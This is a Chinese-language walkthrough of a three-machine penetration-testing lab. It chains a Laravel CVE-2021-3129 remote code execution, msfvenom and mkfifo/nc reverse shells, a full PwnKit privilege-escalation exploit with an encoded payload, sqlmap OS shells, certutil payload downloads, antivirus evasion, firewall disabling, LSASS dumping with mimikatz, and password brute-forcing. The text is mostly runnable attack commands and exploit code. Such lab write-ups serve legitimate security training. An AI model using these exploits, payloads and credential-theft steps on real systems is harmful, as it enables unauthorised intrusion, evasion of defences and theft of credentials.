前期环境配置
在开始渗透测试前,我们需要先调整靶场虚拟机的网络模式,将ubuntu20虚拟机切换为nat模式,确保所有靶场机器和测试主机处于同一内网网段,方便后续的流量通信和操作。

第一阶段:外网打点与初始shell获取
1、内网活跃主机探测
渗透测试的第一步是定位目标所在的活跃主机,我们在测试终端执行arp-scan扫描命令,快速扫描当前局域网内的所有设备:
arp-scan -l
执行后我们很快定位到了目标主机的IP地址:10.30.7.55。

2、全端口扫描与服务识别
接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描,使用半开放扫描模式避免被目标防火墙拦截,同时提速扫描效率:
nmap -sS -p- -A 10.30.7.55 -T4
扫描结果显示80端口(HTTP服务)和22端口(SSH服务)处于开放状态,同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。

3、漏洞信息收集
通过扫描结果我们确认目标运行的是Laravel Web框架,结合公开的漏洞库信息,该版本的Laravel存在CVE-2021-3129远程代码执行漏洞,该漏洞可以通过特定的接口请求实现未授权的代码执行。

4、漏洞验证与利用
该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求,当页面返回500状态码且出现file_get_contents相关错误时,即可确认漏洞存在。我们构造了如下的HTTP请求包:
文章参考:laravel RCE(cve-2021-3129)复现 – Running_J – 博客园
POST /_ignition/execute-solution HTTP/1.1
Host: 10.30.7.55
Content-Type: application/json
Content-Length: 168
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "jack",
"viewFile": "jack1"
}
}

5、获取反向shell
我们可以使用公开的exp脚本进行快速利用
exp
cuongtop4598/CVE-2021-3129-Script: Add revert shell
首先需要根据目标系统的架构调整脚本内容
修改源码,uname -a判断为系统类型为x64,并且wget命令存在

首先我们生成针对linux x64架构的反弹shell木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf
其中lhost是我们的本地监听IP,lport是自定义的监听端口。
为了让目标主机可以下载我们生成的木马

我们在本地开启了简易的HTTP文件共享服务,将当前目录作为共享目录。

之后我们在目标主机执行修改后的下载命令,将木马文件下载到本地临时目录。

接下来我们执行反弹shell命令,建立和本地监听终端的连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f

继续修改文件,分别写入如下命令,依次执行
chmod +x /tmp/shell.elf
/tmp/shell.elf
执行之前,新开一个终端,打开msf
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z"

上线之后能看到第二个网卡为10.0.20.141
6、权限提升
成功拿到低权限shell后,我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机,该脚本可以自动扫描主机上的潜在漏洞和配置错误:
upload linpeas.sh
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
chmod +x linpeas.sh
./linpeas.sh

扫描结果显示目标主机存在CVE-2021-4034(pwnkit)漏洞,这是一个pkexec的本地权限提升漏洞,可以让普通用户获取root权限。我们使用公开的poc脚本进行提权:
#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl51bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhKyxLrsd1LP2+xuCVEsKD7Yphxt09iKsHL1kVijHGj6jxviNKcsaT9CbMRr8ntrSXqr16Sf20UJ20kZ1A3uH8fRzFjB+k8qds7CFZ6Ou7zI9U47PL8j2NTxnU8MflbTkDTdmcMqp3h4X7kgQEBAQEBAQEBAQEBAQuJtR25HK1hrdhP5rebRVaWD2htqCoTsnBv0kUk3Jxhhxfuf584pl7aCcnrQsk/IByq9RPvmLZX1A+RTlEeL8Fssg7d9NpN6wVFMxJzQgOb9bL6LHIK0nzwKqwlurIo9Xl+8L9ZPNCzesXLPU/tmS6elrM5mkcWFPf5n/WXqMU3+7x8/qZP2ZoP2xf6PcUhV+JdBcWdZEG6ZmhB4n6PE1LW/1lv/bN1RAQEBAQEBAQEBAQOAuAeYzYv4i5hoOAFdgILyUVYIZgeTR+7EY8iFrwMZcw4UYD+WLuPLfp6wc40lIQsTcwhZIPsT3tQgkO2LO4GlgzE+NALs5kY0OYW4jXg++p2Ku4gLsT5nfHwv6+/ktMOYyYntTltP/MMRbYON9nAT7GlzPDbC9OZT/JzCPnUcMnm8jcAtwO3AeuD/s12F+KwLzWhHlnL2tuXlDdHlbRyFrFqLr5TVybFXdIwXbrDu4OibH1q5w3ITIRrdh6ma8g8jZnKnJyWxBzuu5vKabfR5XRyGVTqxKJYhtdceNbiIn+rJGX8ZhU3dKejTdSOWyPkOlZbqWjrNAOMunTSLbScfsVE7m4MTQOolsar3U7KLFNDqXiJtxImvdapcez2hqd0Kftpw61Liux/scBZ7TpuKZFK2MVu205tTTYRhE7sxlMlrWvMOHeRuweeHN7S22P8B9bpy9mNMX25eA4PeEsO0j1+hYRz3Ob+TlnI5vfyNcA+px/iOvgwnG5pHk0eO8bCbOWoB6XE+Qcf1ASJz9BHHmMupx/iLjuob9D3C8hzhrg7u9JOjnKJm5/4gk1I16XI+QcT3i7x9e/wtQ1oTlZX7G9ZDFLJhB/yLx7Zm4Zb8OrvMI/vn3cPpo2M95Lp7fFvQSpx8I+5lbhm7Rv8rpT4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

执行该脚本后我们成功获取到了root权限,同时发现目标主机存在第二块网卡,IP地址为10.0.20.141,说明目标主机处于另一个内网网段,需要进行横向移动渗透。
第二阶段:内网横向移动渗透
1、配置路由与网段扫描
我们需要将msf的流量转发到新发现的10.0.20.0/24网段,以便扫描该网段内的其他主机。首先我们配置路由规则,将该网段的流量通过当前的shell会话转发。
接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机:

ping内网主机发现,仅仅显示本机的第二张网卡ip
for i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

tcp扫描,发现内网主机ip10.0.20.100,说明目标机器禁了ping或者开启了防火墙
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.20.0/24
set PORTS 22,80,135,139,445
run

2、访问Web后台与漏洞发现
我们访问10.0.20.100的80端口,发现是一个企业内部的后台管理系统

尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。

在service list中的编辑按钮,能找到数据包,对其进行sql注入检测,发现其可能存在sql注入漏洞并且站点跟目录为\xampp\htdocs\ovas\

3、SQL注入获取webshell
我们使用sqlmap工具对该注入点进行检测,首先确认当前数据库用户权限:
sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --current-user

尝试直接获取webshell,发现是系统权限
sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --os-shell

成功获取到了windows主机的系统权限shell,我们查看系统架构确认是64位系统,
systeminfo

接下来生成对应的反弹shell木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe

传马到第一台机器中

开启文件共享

4、免杀木马与上线
我们将生成的木马文件上传到目标主机的web目录下,尝试使用certutil命令下载并执行:
windows机器从这台linux中下载文件
certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe

准备上线

上线失败,被杀

加免杀,生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64
替换shellcode

打包
pyinstaller -F -w Bypass_AV.py
继续上传

此时没有被杀,但是没有上线,大概率防火墙没关

关闭防火墙
netsh advfirewall set allprofiles state off
正常上线

第三阶段:拿下第三台靶场主机
1、内网信息收集与网段扫描
成功获取windows主机权限后,我们进行内网信息收集,发现该主机处于工作组环境,没有域控制器。接下来我们扫描10.0.10.0/24网段,发现10.0.10.110主机仅开放22端口,大概率是linux服务器。
发现另一个网段机器

内网信息收集,发现并没有域环境,是一个工作组

ping主机探测,发现内网第三台服务器,通过ttl为64可以看出目标机器大概率是linux服务器
for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl"

msf添加路由
run post/multi/manage/autoroute

端口扫描,仅开放22端口
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.10.110
set PORTS 22,80,135,139,445
run

2、爆破登录与凭据获取
我们尝试使用之前获取的凭据登录该linux主机,但是全部失败。于是我们使用hydra工具进行弱口令爆破,最终得到登录密码Admin#123,成功登录该主机。
抓取系统hash
load kiwi
creds_all

修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
再次抓取,也失败
creds_all

离线导出
procdump.exe -accepteula -ma lsass.exe demo.dmp

开启http服务传到本地,使用本地的mimikatz加载明文密码

使用mimikatz抓取明文密码,发现系统并没有保存密码在这个文件中,原因就是系统没有本地登录或者远程登录过,所以无法获取用户登录的凭据
mimikatz.exe
sekurlsa::minidump demo.dmp
sekurlsa::logonpasswords full

直接爆破得到密码
Admin#123

开启远程服务
C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
Ok.
C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.

使用默认的远程连接工具连接不上,rdesktop 不支持 CredSSP
使用下面这个工具
xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore

3、获取最终权限
我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据,密码为vuln@qwe,使用该密码我们成功登录并获取了该主机的最高权限,拿下了最后一台靶场机器。
在文件管理中发现了这个远程连接工具

查看旁边的10.0.10.110

直接双击就能远程连接

在linux中找了大半天信息,没有任何东西,直到在这个工具中发现这个用户的密码vuln@qwe

拿下最后一台机器














